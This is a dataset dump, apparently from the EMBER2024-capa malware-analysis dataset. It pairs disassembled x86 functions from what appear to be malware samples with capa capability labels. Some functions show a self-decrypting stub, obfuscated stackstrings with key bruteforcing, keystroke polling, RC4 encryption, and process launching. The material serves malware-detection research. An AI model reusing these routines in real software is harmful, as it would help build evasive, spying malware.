joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100270e0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x100342d8]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x2c], 0
jmp 0x1002710c
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x36
jge 0x1002711d
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
jmp 0x10027103
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0
xor edx, edx
mov dword [ebp - 0x1f], edx
mov dword [ebp - 0x1b], edx
mov dword [ebp - 0x17], edx
mov dword [ebp - 0x13], edx
mov dword [ebp - 0xf], edx
mov dword [ebp - 0xb], edx
mov word [ebp - 7], dx
mov byte [ebp - 5], dl
push 0x1c
push 0x64
lea eax, [ebp - 0x20]
push eax
call fcn.1000e480
add esp, 0xc
push 0x170
call fcn.1000ce76
add esp, 4
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x28], ecx
push 0x170
push 0x64
mov edx, dword [ebp - 0x28]
push edx
call fcn.1000e480
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x84]
push ecx
call fcn.1000dea5
add esp, 4
mov dword [ebp - 0x30], 1
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add eax, 3
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 1
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
add edx, 3
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], 1
mov eax, dword [ebp - 0x40]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
add ecx, 3
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], 1
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
add eax, 3
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], 1
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
add edx, 3
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], 1
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
add ecx, 3
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], 1
mov edx, dword [ebp - 0x60]
add edx, 1
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x60]
add eax, 3
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], 1
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x68]
add edx, 3
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x70], 1
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
add ecx, 3
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], 1
mov edx, dword [ebp - 0x78]
add edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
add eax, 3
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000de96
mov esp, ebp
pop ebp
ret
Function at 0x100274f0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10027522
xor eax, eax
jmp 0x100275ba
mov dword [ebp - 8], 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1002754c
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100275ba
mov dword [ebp - 0x10], 0
cmp dword [ebp - 8], 0
jbe 0x100275ab
push 0
lea eax, [ebp - 4]
push eax
push 4
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
xor eax, 0x78338e37
mov dword [ebp - 0x10], eax
push 1
push 0
push 0xfffffffffffffffc
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x14]
push edx
push 4
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
sub edx, 4
mov dword [ebp - 8], edx
jmp 0x10027553
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10027750
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call fcn.10026270
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], ecx
mov byte [ebp - 0xc], 0
mov dword [ebp - 8], 1
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0x100275c0
push 0
push 0
call fcn.1000e652
add esp, 0x18
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movzx ecx, byte [ebp - 0xc]
test ecx, ecx
jne 0x1002781c
mov dword [ebp - 8], 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0x100275c0
push 0
push 0
call fcn.1000e652
add esp, 0x18
mov dword [ebp - 0x18], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movzx ecx, byte [ebp - 0xc]
test ecx, ecx
jne 0x10027812
mov dword [ebp - 8], 1
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0x100275c0
push 0
push 0
call fcn.1000e652
add esp, 0x18
mov dword [ebp - 0x1c], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10027910
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x100342d8]
xor eax, ebp
mov dword [ebp - 0x14], eax
call fcn.100272b0
mov dword [ebp - 4], str.SoftwareBaiduBaiduSd
mov dword [ebp - 0xc], str.SupplyID
mov dword [ebp - 0x21c], 0x100
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100279b8
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100279a8
lea ecx, [ebp - 0x218]
push ecx
push 0x1002f91c
mov edx, dword [ebp + 8]
push edx
call fcn.10005b70
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100279b6
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x100279c6
jmp 0x100279bc
xor eax, eax
jmp 0x100279c6
call fcn.100270e0
mov eax, 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000de96
mov esp, ebp
pop ebp
ret
Function at 0x10027c60
Capabilities:
Create directory
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100291d3
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x100342d8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10026720
mov word [ebp - 0x224], 0
push 0x208
push 0
lea eax, [ebp - 0x222]
push eax
call fcn.1000e480
add esp, 0xc
mov dword [ebp - 0x228], 0
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push str._TEMP_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0x228], eax
lea edx, [ebp - 0x224]
push edx
lea ecx, [ebp - 0x260]
call fcn.10004790
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.10004760
mov byte [ebp - 4], 1
lea eax, [ebp - 0x244]
push eax
call fcn.10027830
add esp, 4
push 0x1002f894
lea ecx, [ebp - 0x260]
call fcn.10004890
lea ecx, [ebp - 0x244]
push ecx
lea ecx, [ebp - 0x260]
call fcn.10004870
lea edx, [ebp - 0x260]
push edx
mov ecx, dword [ebp + 8]
call fcn.10004830
push 0
lea ecx, [ebp - 0x260]
call fcn.10004970
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.10004810
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x260]
call fcn.10004810
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000de96
mov esp, ebp
pop ebp
ret
Function at 0x10028490
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x100342d8]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov byte [ebp - 1], 0
cmp dword [ebp + 8], 0
jne 0x100284b1
xor al, al
jmp 0x10028521
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100284c7
xor al, al
jmp 0x10028521
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x10028514
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x10028500
mov byte [ebp - 1], 1
jmp 0x10028514
lea ecx, [ebp - 0x240]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x100284e5
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1000de96
mov esp, ebp
pop ebp
ret
Function at 0x44e172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x44e1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x44e1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x44edff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.0044ef04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.0044ef20
push edx
push dword [ebp + 0x10]
push eax
call fcn.0044eeec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0044ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0044eecb
push ecx
push dword [ebp + 8]
call fcn.0044ef04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0044ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0044eecb
push ecx
push dword [ebp + 8]
call fcn.0044ef04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0044ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0044eecb
push ecx
push dword [ebp + 8]
call fcn.0044ef04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.0044ef04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.0044eecb
cmp ecx, 0x2b
jne 0x44ee0f
leave
ret 0xc

Function at 0x4504b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x450544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x40d20
push 0
call dword [eax + 0x20]
test eax, eax
je 0x4505d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x40d20
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x40d20
call fcn.004503fa
push 0x40d20
push dword [ebp + 0xc]
call fcn.0044e1a8
test eax, eax
jne 0x4505b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x40d20
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.004505dd
test eax, eax
je 0x4505d6
jmp 0x450574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x4505d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x45060b
Capabilities:
Terminate process

Disassembly:
call fcn.00450618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4274d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49701b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048b528
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x427552
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00488b80
mov eax, dword [eax]
push 0x4ee250
push eax
call fcn.0047a6b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048b7b3
test bl, bl
je 0x427552
push 0x4ee250
lea ecx, [esp + 0xc]
call fcn.0048bb43
push 0x4f1dd4
lea ecx, [esp + 0xc]
call fcn.0048bb43
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42758e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048b7b3
jmp 0x427659
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x427612
lea edx, [esp + 0x7c]
push 0x4f1dd0
push edx
call fcn.0047a6b4
add esp, 8
test eax, eax
je 0x427612
lea eax, [esp + 0x7c]
push 0x4f1dcc
push eax
call fcn.0047a6b4
add esp, 8
test eax, eax
je 0x427612
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4275a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048b7b3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x427e50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x427eb2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x427ec0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49709b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4fa26c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x427ff8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x427f26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b7b3
xor eax, eax
jmp 0x42806f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048b8f0
push esi
lea ecx, [esp + 0xc]
call fcn.0048bb7f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42804d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00427e50
test eax, eax
jne 0x42804d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00427e50
test eax, eax
jne 0x42804d
lea eax, [esp + 0x14]
push 0x4f1de8
push eax
call fcn.0047b7c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42802c
lea ecx, [esp + 0x14]
push 0x4f1de4
push ecx
call fcn.0047b740
mov esi, eax
add esp, 8
test esi, esi
jne 0x42802c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42802f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048b8a0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x427f3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b7b3
xor eax, eax
jmp 0x42806f
mov byte [esi], 0
push 0x4f1de0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048b7b3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x43baf0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43bb5e
cmp si, 0x69
ja 0x43bb5e
add esi, 0xffd0
cmp si, 0x11
je 0x43bb2e
push 0x11
call edi
test ax, ax
jge 0x43bb2e
or esi, 0x2000
cmp si, 0x10
je 0x43bb43
push 0x10
call edi
test ax, ax
jge 0x43bb43
or esi, 0x4000
cmp si, 0x12
je 0x43bb58
push 0x12
call edi
test ax, ax
jge 0x43bb58
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43bb6b
mov esi, 0xbd
jmp 0x43bb1f
cmp si, 0x6e
jne 0x43bb78
mov esi, 0xbe
jmp 0x43bb1f
cmp si, 0x6f
jne 0x43bb19
mov esi, 0xbf
jmp 0x43bb1f

Function at 0x43d3b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x50aba0]
xor edx, edx
cmp eax, edx
jne 0x43d3d6
xor eax, eax
mov byte [eax + 0x50aaa0], al
inc eax
cmp eax, 0x100
jl 0x43d3be
mov dword [0x50aba0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x50aaa0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x43d467
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43d43a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x43d408
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x43d4e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x43d533
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x43d51a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x444390
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x444528
cmp ebp, ebx
jle 0x444528
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4443ee
dec eax
or eax, 0xfffffff8
inc eax
je 0x4443f5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x444404
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x44440b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0048b4f4
add esp, 4
cmp eax, ebx
je 0x44442c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0048b4f4
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x44451e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x444505
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4444f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4444e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4444f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4444f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x444490
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x444481
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret